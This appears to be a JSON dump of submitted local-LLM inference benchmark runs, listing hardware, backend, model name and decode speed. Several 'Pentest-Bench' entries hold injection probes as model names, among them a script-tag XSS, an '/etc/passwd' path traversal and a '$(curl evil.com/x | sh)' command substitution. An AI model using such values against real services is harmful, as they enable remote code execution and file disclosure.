{"runs":[{"id":"r_r7fc52oxuvq","suite_version":"suite-v1","accelerator_summary":"smoke-host","received_at":"2026-05-12 23:07:27","top_decode_tps":10,"top_model_name":"Qwen3-32B-Instruct.Q4_K_M","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_0_i4fok_cfg","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:29","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_abgapkfvfla","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:20","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_g356kkzjf5c","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:20","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_3r1vcq0s4vo","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:19","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_dnvwv68uo3z","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:19","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_59h1mxy0mzj","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:18","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_w6ugvsylxe7","suite_version":"suite-v1","accelerator_summary":"x","received_at":"2026-05-12 22:47:17","top_decode_tps":10,"top_model_name":"m","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_a3ei8og3rkg","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:50","top_decode_tps":42,"top_model_name":"<script>alert(1)</script>","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_b-ndu-9uswz","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:50","top_decode_tps":42,"top_model_name":"victim","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_0heij9dzacw","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:49","top_decode_tps":42,"top_model_name":"actual-name","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r__zyiw9l3_c5","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:49","top_decode_tps":42,"top_model_name":"beforeafter","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_2nqkbpdq-dk","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:48","top_decode_tps":42,"top_model_name":"xy","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_8zc2yi4had5","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:48","top_decode_tps":42,"top_model_name":"a/b/../../etc/passwd","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_kkseorkbdk3","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:48","top_decode_tps":42,"top_model_name":"$(curl evil.com/x | sh)","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_0laxq0naoht","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:47","top_decode_tps":42,"top_model_name":"innocent/bin/sh","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_1jskg9qv_8b","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:45","top_decode_tps":42,"top_model_name":"test-model","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_rl-kbwr9chb","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:44","top_decode_tps":42,"top_model_name":"test-model","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_7z262rwoo08","suite_version":"AAAAAAAAAAAAAAAAAAAA (truncated)","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:43","top_decode_tps":42,"top_model_name":"test-model","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_wd6-1z548j_","suite_version":"suite-v1","accelerator_summary":"Pentest-Bench","received_at":"2026-05-12 22:45:39","top_decode_tps":42,"top_model_name":"test-model","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_1pl79r50ofy","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-05-12 21:30:26","top_decode_tps":80.34055574229521,"top_model_name":"lmstudio-community-Qwen3-Next-80B-A3B-Instruct-MLX-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_1pww-w7p8sd","suite_version":"suite-v1","accelerator_summary":"RTX 5090 (32GB) + AMD Ryzen 7 9850X3D 8-Core Processor (8c) + 30GB","received_at":"2026-05-02 23:55:59","top_decode_tps":67.28255261352516,"top_model_name":"Qwen3.6-27B-Q4_K_M.gguf","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_bqsunbd6xa8","suite_version":"suite-v1","accelerator_summary":"RTX 5090 (32GB) + AMD Ryzen 7 9850X3D 8-Core Processor (8c) + 30GB","received_at":"2026-05-02 23:53:42","top_decode_tps":69.8895839951486,"top_model_name":"Qwen3.6-27B-Q4_K_M.gguf","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_kj4fh_mmzj9","suite_version":"suite-v1","accelerator_summary":"RTX 5090 (32GB) + AMD Ryzen 7 9850X3D 8-Core Processor (8c) + 30GB","received_at":"2026-05-01 05:01:16","top_decode_tps":47.7522652925508,"top_model_name":"Qwen3.6-27B-Q4_K_M.gguf","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_4u7250hj28o","suite_version":"suite-v1","accelerator_summary":"RTX 5090 (32GB) + AMD Ryzen 7 9850X3D 8-Core Processor (8c) + 30GB","received_at":"2026-05-01 04:10:21","top_decode_tps":45.92103691930307,"top_model_name":"Qwen3.6-27B-Q4_K_M.gguf","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r__b89kg2iica","suite_version":"suite-v1","accelerator_summary":"RTX 5090 (32GB) + AMD Ryzen 7 9850X3D 8-Core Processor (8c) + 30GB","received_at":"2026-05-01 03:32:01","top_decode_tps":39.61480721480007,"top_model_name":"Qwen3.6-27B-Q4_K_M.gguf","top_backend":"llama.cpp","top_workload":"chat-short"},{"id":"r_pnrrpcdqfo4","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 16:12:18","top_decode_tps":7.1568244525716915,"top_model_name":"mlx-community/Qwen3-32B-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_f4x3xaan2ay","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 15:28:44","top_decode_tps":7.054584529646888,"top_model_name":"mlx-community/Qwen2.5-32B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_q7t7b7dcuz5","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 15:00:38","top_decode_tps":21.97192032315172,"top_model_name":"mlx-community/gemma-2-9b-it-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_5c80gthqlh6","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:52:42","top_decode_tps":16.31480888875494,"top_model_name":"mlx-community/qwen2.5-72b-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_ia73dzeue0b","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 14:52:23","top_decode_tps":14.408201962164691,"top_model_name":"mlx-community-Qwen2.5-14B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_sx3a4y9n-m4","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:45:36","top_decode_tps":16.775836105508983,"top_model_name":"mlx-community/llama-3.3-70b-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_-w8hnn61va_","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 14:39:43","top_decode_tps":15.612598491140039,"top_model_name":"mlx-community/phi-4-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_h0-use1ypnb","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 14:39:18","top_decode_tps":29.203324434963267,"top_model_name":"mlx-community/Llama-3.1-8B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_llzv_g-ymaf","suite_version":"suite-v1","accelerator_summary":"M3 Pro (18-core GPU) + 36GB unified","received_at":"2026-04-28 14:39:01","top_decode_tps":30.51900256723023,"top_model_name":"mlx-community-Qwen2.5-7B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_y2_5y8oo97d","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:38:39","top_decode_tps":192.4960146766825,"top_model_name":"mlx-community/stable-code-instruct-3b-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_3hvui9a1yuc","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:38:06","top_decode_tps":103.54665218835561,"top_model_name":"mlx-community/Yi-Coder-9B-Chat-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_wsxml_39dh_","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:37:00","top_decode_tps":64.15547866239463,"top_model_name":"mlx-community/starcoder2-15b-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_bue3bee0gw7","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:34:51","top_decode_tps":112.26683996663634,"top_model_name":"mlx-community/granite-8b-code-instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_79dvtag5fd_","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:33:48","top_decode_tps":47.487141845308905,"top_model_name":"mlx-community/Codestral-22B-v0.1-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_l_v1-zq_qaz","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:31:36","top_decode_tps":168.34186075593027,"top_model_name":"mlx-community/DeepSeek-Coder-V2-Lite-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_721b4bls_oq","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:30:04","top_decode_tps":34.478149099577536,"top_model_name":"mlx-community/Qwen2.5-Coder-32B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_l36cijqxq4t","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:26:51","top_decode_tps":70.51432374782895,"top_model_name":"mlx-community/Qwen2.5-Coder-14B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_uoehjq0nvc0","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:25:20","top_decode_tps":138.55322182769766,"top_model_name":"mlx-community/Qwen2.5-Coder-7B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_3ijun8ltjnb","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:24:31","top_decode_tps":152.66521659710628,"top_model_name":"mlx-community/gpt-oss-20b-MXFP4-Q4","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_fpsca03u2o_","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:22:38","top_decode_tps":112.1533246004879,"top_model_name":"mlx-community/Qwen3-Coder-30B-A3B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_anmmc80-aoq","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:19:50","top_decode_tps":34.4122151296708,"top_model_name":"mlx-community/Qwen3-32B-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_njgxtgyym1e","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:16:41","top_decode_tps":34.60099252312289,"top_model_name":"mlx-community-Qwen2.5-32B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_iz137eqvuzy","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:16:27","top_decode_tps":89.45495359809246,"top_model_name":"mlx-community/gemma-2-9b-it-4bit","top_backend":"mlx","top_workload":"chat-short"},{"id":"r_v4bq1sviz4o","suite_version":"suite-v1","accelerator_summary":"M3 Ultra (60-core GPU) + 96GB unified","received_at":"2026-04-28 14:15:26","top_decode_tps":70.85189176375495,"top_model_name":"mlx-community-Qwen2.5-14B-Instruct-4bit","top_backend":"mlx","top_workload":"chat-short"}]}